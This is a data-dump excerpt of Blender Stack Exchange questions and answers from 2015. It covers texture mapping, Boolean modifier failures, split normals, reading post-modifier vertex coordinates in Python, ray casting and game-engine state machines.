  <row Id="34785" PostTypeId="1" CreationDate="2015-07-29T21:37:12.010" Score="0" ViewCount="242" Body="&lt;p&gt;I want my texture to be applied uniformely to my Blender model, but currently, when I apply my texture, it gets scaled depending on the size of each triangle and its vertices, but that's not what I'm looking for, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/jDh0tph.png&quot; alt=&quot;Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/0IPO0Zs.png&quot; alt=&quot;Texture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I'm looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SCywD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SCywD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16058" OwnerDisplayName="Whiteclaws" LastEditorUserId="3710" LastEditDate="2015-07-30T07:56:19.487" LastActivityDate="2015-07-30T07:56:19.487" Title="Uniform Texture Mapping Blender" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34786" PostTypeId="2" ParentId="34778" CreationDate="2015-07-30T07:20:27.277" Score="0" Body="&lt;p&gt;You can change the mouse button with which you click in the Preferences/Input and change (select with) to Left, it is set to Right by default&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-07-30T07:20:27.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34787" PostTypeId="2" ParentId="34781" CreationDate="2015-07-30T07:41:51.380" Score="34" Body="&lt;p&gt;&lt;strong&gt;Most of the common problems people experience with the Boolean modifier are generally down to only 2 or 3 things: Normals, Doubles (or overlapping geometry), Non-Manifold geometry.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/21190/what-are-face-normals&quot;&gt;&lt;strong&gt;Normals&lt;/strong&gt;&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Faces have a direction, it may seem like a weird idea but it's necessary in computer graphics to give a polygon (different word for &lt;em&gt;face&lt;/em&gt;) a direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PpSGX.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PpSGX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that faces have a direction is included in the word &quot;face&quot;, for English speakers: &quot;what direction is it facing? it's facing that direction&quot;. Blender will give the new faces you create a direction that corresponds to the faces around it, it's up to you as a modeler to be aware of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The direction of the &lt;strong&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/normals.html?highlight=normals&quot; rel=&quot;noreferrer&quot;&gt;Normals&lt;/a&gt;&lt;/strong&gt; determines how the objects combine when using a &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/booleans.html?highlight=boolean&quot; rel=&quot;noreferrer&quot;&gt;Boolean Modifier&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first image the cube and the torus have their normals facing out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UUDqW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UUDqW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the second image the Torus has the normals facing in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HE8Ad.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HE8Ad.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the third image both objects have their normals facing in:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1LGEM.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1LGEM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What are Difference, Union, and Intersect supposed to produce?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Difference&lt;/em&gt;: The result will be those parts of the mesh which do not share volume in 3D space. &lt;a href=&quot;https://blender.stackexchange.com/a/34460/47&quot;&gt;see here a good expose on how to do this, and what to expect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Union&lt;/em&gt;: Returns the two meshes joined as one, the two meshes do need to have at least some common volume in 3D space. If they don't you can use the Join command (Ctrl+j) instead of a boolean.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Intersect&lt;/em&gt;: will return the shared 3d volume of the two meshes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Quote from the &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/booleans.html?highlight=boolean&quot; rel=&quot;noreferrer&quot;&gt;manual:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Difference&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The modified mesh is subtracted from the target mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the target Mesh has inverted normals, Blender will Intersect the modified  mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the modified Mesh has inverted normals, Blender will add both meshes (Union).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If both Meshes use inverted normals, Blender will Intersect the target Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Union&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The target mesh is added to the modified mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the target Mesh has inverted normals, Blender will Intersect the target Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the modified Mesh has inverted normals, Blender will subtract the target Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If both Meshes use inverted normals, Blender will Intersect the modified Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;strong&gt;Intersect&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;The target mesh is subtracted from the modified mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the target Mesh has inverted normals, Blender will subtract the target Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If the modified Mesh has inverted normals, Blender will intersect the target Mesh.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If both Meshes use inverted normals, Blender will add both meshes (Union).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fixes for problems caused by normals in boolean operations are generally easy&lt;/strong&gt;: Faces of both objects should all be outward facing with no exceptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To &lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/normals.html?highlight=normals#recalculate-normals&quot; rel=&quot;noreferrer&quot;&gt;recalculate normals&lt;/a&gt; enter Edit Mode (&lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select all faces and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; To have the normals face out &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to have normals face inside the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To flip a single face, select it and use Mesh&gt;Normals&gt;Flip Normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hJRPC.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hJRPC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can toggle the display of normals in the &lt;em&gt;Properties Panel&lt;/em&gt; (right panel &lt;kbd&gt;N&lt;/kbd&gt;): &lt;a href=&quot;https://i.stack.imgur.com/mIGPT.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mIGPT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Doubles&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Doubles are multiple vertices which share the same 3d location. These are problematic for the boolean modifier if they occur in one object, because they're a sign of degenerate geometry (zero area faces, hidden duplicated edges) or simple geometry which isn't fully connected as you might be led to believe by how it looks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To Remove doubles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Select everything (&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Presss &lt;kbd&gt;W&lt;/kbd&gt; and select Remove Doubles.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;( insert images of example tell-tale signs of doubles )&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Overlapping geometry between objects:&lt;/strong&gt;&lt;br&gt;&#xA;If you've removed doubles and flipped normals the right way, then a third cause of Boolean Failure is that some of your edges are shared by more than 2 faces. Inspect your Objects closely.&#xA;Multiple vertices in the same location will often cause the boolean modifier to act up.&#xA;In addition to Double geometry on Object A or B, object B should also not share any duplicated geometry with A. You can always prevent this by adjusting one of your Objects to comply with this limitation of the Boolean Algorithm.&#xA;From this &lt;a href=&quot;http://developer.blender.org/T37659&quot; rel=&quot;noreferrer&quot;&gt;bug report&lt;/a&gt;:&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this is a known bug in Carve upstream (a library we're using for boolean operations)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;&lt;strong&gt;Non-Manifold Geometry&lt;/strong&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Boolean operations will fail when using &lt;a href=&quot;http://en.wikipedia.org/wiki/Manifold&quot; rel=&quot;noreferrer&quot;&gt;Non-manifold&lt;/a&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For all intents are purposes manifold means 'is it air-tight', meaning it has no holes. Examples of non-manifold objects could be objects like planes with no thickness, or objects that are self-intersecting or that have Zero-area faces or have Open volumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some operations it helps if you use the Outliner to hide the object you are doing the boolean operation with from view/render so you can see clearly the effect of the operation &lt;em&gt;before&lt;/em&gt; applying the modifier (apply at the last possible moment!)&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Other cases where boolean operations can fail:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using Curve objects instead of Mesh objects&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender doesn't let you use a curve objects for boolean operations. That inlcudes Text objects, as they are considered curves as well. Those objects would need to converted to mesh by pressing &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorDisplayName="user1853" LastEditDate="2017-06-25T18:01:43.807" LastActivityDate="2017-06-25T18:01:43.807" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34788" PostTypeId="2" ParentId="34780" CreationDate="2015-07-30T07:48:09.470" Score="8" Body="&lt;p&gt;Edinting normals will be implemented in the future, according to &lt;a href=&quot;http://wiki.blender.org/index.php/User:Mont29/Foundation/Split_Vertex_Normals#Importing_.26_editing_normals&quot; rel=&quot;noreferrer&quot;&gt;Blender Wiki&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try to use the split normals modifier on this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Create Empty Objects in the direction of your vertex normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KAKGH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KAKGH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a Group Vertex for those vertices which you want to have a perpendicular normal in the same face. For a cube you should create six groups, one per each main square face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cO9KF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cO9KF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Create a &lt;strong&gt;Split Normals Modifier&lt;/strong&gt; per each Group Vertex. Set mode to &lt;strong&gt;Directional&lt;/strong&gt; , check &lt;strong&gt;Parallel Normals&lt;/strong&gt; and select appropiate empty object for target and group vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OV6Uz.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OV6Uz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get an effect similar to rounded edges:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qyIoe.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyIoe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally you can apply all modifiers and your object will keep these normals.&lt;/p&gt;&#xA;" OwnerUserId="6276" LastActivityDate="2015-07-30T07:48:09.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34789" PostTypeId="1" AcceptedAnswerId="34792" CreationDate="2015-07-30T07:53:05.977" Score="8" ViewCount="2028" Body="&lt;p&gt;simple scenario:&lt;br&gt;&#xA;I have a cube with a wave modifier and I would like to get the vertex positions with python.&lt;br&gt;&#xA;I'm trying with &lt;code&gt;bpy.types.MeshVertex.co&lt;/code&gt;, but it gives me exactly the same as &lt;code&gt;bpy.types.MeshVertex.undeformed_co&lt;/code&gt;.&lt;br&gt;&#xA;I even tried with the new dependency-graph....all the same.&lt;br&gt;&#xA;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7923" LastEditorUserId="29301" LastEditDate="2018-10-23T12:45:32.667" LastActivityDate="2018-10-23T12:45:32.667" Title="How to get vertex coordinates after modifier in python?" Tags="&lt;python&gt;&lt;modifiers&gt;&lt;vertices&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34790" PostTypeId="2" ParentId="34774" CreationDate="2015-07-30T08:26:33.620" Score="1" Body="&lt;p&gt;You should deselect non mesh objects before adding rigid body objects&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; bpy.ops.object.select_all(action='DESELECT') #clear selection&#xA; candidate_list = [item.name for item in bpy.data.objects if item.type == &quot;MESH&quot;]&#xA;for object_name in candidate_list:&#xA;    bpy.data.objects[object_name].select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this also should be done when clearing the scene if you want to keep the camera and light sources. and regarding the context see this answer &lt;a href=&quot;https://blender.stackexchange.com/a/6105/5113&quot;&gt;poll() failed, context incorrect? &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-07-30T08:26:33.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34792" PostTypeId="2" ParentId="34789" CreationDate="2015-07-30T08:40:41.257" Score="6" Body="&lt;p&gt;As far as I know you can not do it that way. You can make a temporary mesh and find the transformed coordinates, seen as a wave modifier doesn't scramble the Vertex indices. Using &lt;code&gt;obj.to_mesh&lt;/code&gt; is a reasonable way to do it and it's fast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A commented &lt;a href=&quot;https://blender.stackexchange.com/a/34150/47&quot;&gt;example of Obj.to_mesh&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def get_verts_edges(obj, use_modifiers=True, settings='PREVIEW'):&#xA;    scene = bpy.context.scene&#xA;    obj_data = obj.to_mesh(scene, use_modifiers, settings)&#xA;&#xA;    verts = [v.co for v in obj_data.vertices]&#xA;&#xA;    # or..use a copy to avoid dereferencing due to the .remove()&#xA;    # verts = [v.co.copy() for v in obj_data.vertices]  &#xA;&#xA;    edges = obj_data.edge_keys&#xA;    bpy.data.meshes.remove(obj_data)&#xA;&#xA;    return verts, edges&#xA;&#xA;obj = bpy.data.objects['NameOfObject']&#xA;verts, edges = get_verts_edges(obj)&#xA;&#xA;print(verts, edges)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you aren't looking for faces, or edges you could drop the edges return value. The indices of &lt;code&gt;obj.to_mesh&lt;/code&gt; will match the indices of the original object (if it's just a wave modifier..).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8p2GX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8p2GX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the image draws a blue line between initial position and output of the obj.to_mesh function&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;responding to some of your questions&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;i've never used bpy.types.MeshVertex.undeformed_co , and can't for certain say what it's used for or how. But i suspect it's not used for getting the vertex coordinate &quot;post modifier&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Stick a subsurf modifier on a cube, and then do &lt;code&gt;len(obj.data.vertices)&lt;/code&gt;, it will say 8 (the original 8 and vertex locations). I understand where you're coming from, but that isn't the case&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;until you apply modifiers, the data returned by &lt;code&gt;obj.data.vertices&lt;/code&gt; will reflect the object pre-modifiers. so doing an &lt;code&gt;undeformed_co&lt;/code&gt; can't mean what you think it does, then it would be &lt;code&gt;deformed_co&lt;/code&gt; surely? -- And i would expect that only to produce useful corresponding coordinates if the total number of coordinates didn't change due to the modifier stack..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ul&gt;&#xA;&lt;li&gt;Q Why does a Displacement modifier's post-modifier vertex index not correspond with pre-modifier?  &lt;/li&gt;&#xA;&lt;li&gt;A Without peaking at the code I can't say for certain, but the reality of algorithm design is that sometimes algorithms that break this vertex order perform much faster than if extra bookkeeping has to be done to retain expected indices. Because most operations and usecases don't even need this consistent index, only very few people (such as yourself) consider it a problem.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-07-31T07:48:33.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34793" PostTypeId="1" CreationDate="2015-07-30T08:56:36.107" Score="1" ViewCount="91" Body="&lt;p&gt;I was messing around with bmesh and tried to use the mesh_to_bmesh operation, however, I was returned this error...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NotImplementedError: mesh_to_bmesh: keyword &quot;mesh&quot; type 4 not working yet!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The best I can tell this is saying that the function hasn't actually been implemented into the code and is just a placeholder. If this is correct, can anybody tell me if there is another way to transfer a mesh back into a bmesh object? Thanks. &lt;/p&gt;&#xA;" OwnerUserId="16015" LastActivityDate="2015-07-31T00:04:22.227" Title="Bmesh.ops.mesh_to_bmesh usage returns cryptic error" Tags="&lt;python&gt;&lt;bmesh&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34794" PostTypeId="2" ParentId="33600" CreationDate="2015-07-30T09:11:08.593" Score="2" Body="&lt;p&gt;Sensors are not detectable via ray detection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically sensors sense other objects rather then being detected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Workaround:&lt;/strong&gt;&#xA;Add another object that fills the sensor object. Give it a physics type that can be sensed via ray. Parent it to the sensor (or the other way around). Ensure your sensor ignores this object. This way the ray can detect the new object.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-30T09:11:08.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34795" PostTypeId="1" CreationDate="2015-07-30T10:42:14.120" Score="2" ViewCount="355" Body="&lt;p&gt;I like to identify a point (Global Vector) on a plane where the air-line distance to an object is f.e. exactly 1.5 bu. The point should be exactly on a line between the object and a target object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To demonstrate the problem i have attached a picture. The left Empty should be the origin Object and the right one the target Object. As i said the image is only for demonstration purposes. The problem should be solved only in python and the locations of both Empties are Vector-Variables and not existing Objects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://abload.de/img/2015-07-30_1218njqrx.png&quot; alt=&quot;demonstration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;I found an answer by myself&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def pos_target():&#xA;    start = bpy.data.objects[&quot;Empty&quot;].matrix_world.translation.copy()&#xA;    actualpos = start.copy()&#xA;    end = bpy.data.objects[&quot;Empty2&quot;].matrix_world.translation.copy()&#xA;    vec = end - start &#xA;    distance = 0.0&#xA;    max_distance = 1.5&#xA;    target = bpy.data.objects['Plane']&#xA;    while distance &amp;lt; max_distance:&#xA;        actualpos = actualpos + (1/10 * vec)&#xA;        raystart = actualpos.copy()&#xA;        rayend = raystart.copy()&#xA;        raystart[2]= 10.0&#xA;        rayend[2] = -10.0&#xA;        location = target.ray_cast(start=raystart,end=rayend)[0]&#xA;        distance = (actualpos - start).length&#xA;    bpy.data.objects[&quot;point&quot;].location = location&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not the exact point i was looking for but for my problem it's good enough. &#xA;But is there a better Answer, maybe without a while-loop?&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.613" LastActivityDate="2015-07-30T12:19:12.087" Title="Python: Find a point on a uneven plane where the distance from an object is exactly a given value!" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34796" PostTypeId="2" ParentId="33151" CreationDate="2015-07-30T11:14:41.370" Score="2" Body="&lt;p&gt;I suggest to use the build-in state machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;State graph&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your state graph is pretty simple. You need just two states:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NoM6D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NoM6D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;accepting input&lt;/em&gt; - this is when it waits that the user presses &lt;code&gt;&amp;lt;w&amp;gt;&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;cooling down&lt;/em&gt; - this is when it measures the time till the user can press &lt;code&gt;&amp;lt;w&amp;gt;&lt;/code&gt; again.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Transitions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible implementation the transition from state &lt;em&gt;accepting input&lt;/em&gt; is:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6I1JT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6I1JT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;An keyboard sensor triggers a controller which activates a state change to state &lt;em&gt;cooling down&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A possible implementation of the transition from state &lt;em&gt;accepting input&lt;/em&gt; is:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/rK8kc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rK8kc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;An delay sensor triggers a controller which activates a state change to state &lt;em&gt;accepting input&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add the action to be done that should happen after pressing &lt;code&gt;&amp;lt;w&amp;gt;&lt;/code&gt;. Action regarding state machines are operations (not to be confused with actions regarding Blender which are animations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dependent on the operation(s) you can implement them&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... as &lt;strong&gt;ExitAction&lt;/strong&gt; of &lt;em&gt;accepting input&lt;/em&gt;. You can activate further actuators connected to the same controller that activate the state change. This is good when the operation lasts one frame only.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/YbeRn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YbeRn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... as &lt;strong&gt;EntryAction&lt;/strong&gt; of &lt;em&gt;accepting input&lt;/em&gt;. In that case you use an always sensor with [Level] enabled triggering any controller you like. This is good when the operation lasts one frame only and the previous state does not matter.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/86SJa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/86SJa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... as &lt;strong&gt;StateAction&lt;/strong&gt; of &lt;em&gt;cooling down&lt;/em&gt;. In that case you use an always sensor triggering any controller you like. optional you can enable [True Level Triggering]. This is good when the operation lasts longer than a frame but not longer than the state.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mY2un.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mY2un.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps you.&lt;/p&gt;&#xA;" OwnerUserId="13395" LastActivityDate="2015-07-30T11:14:41.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
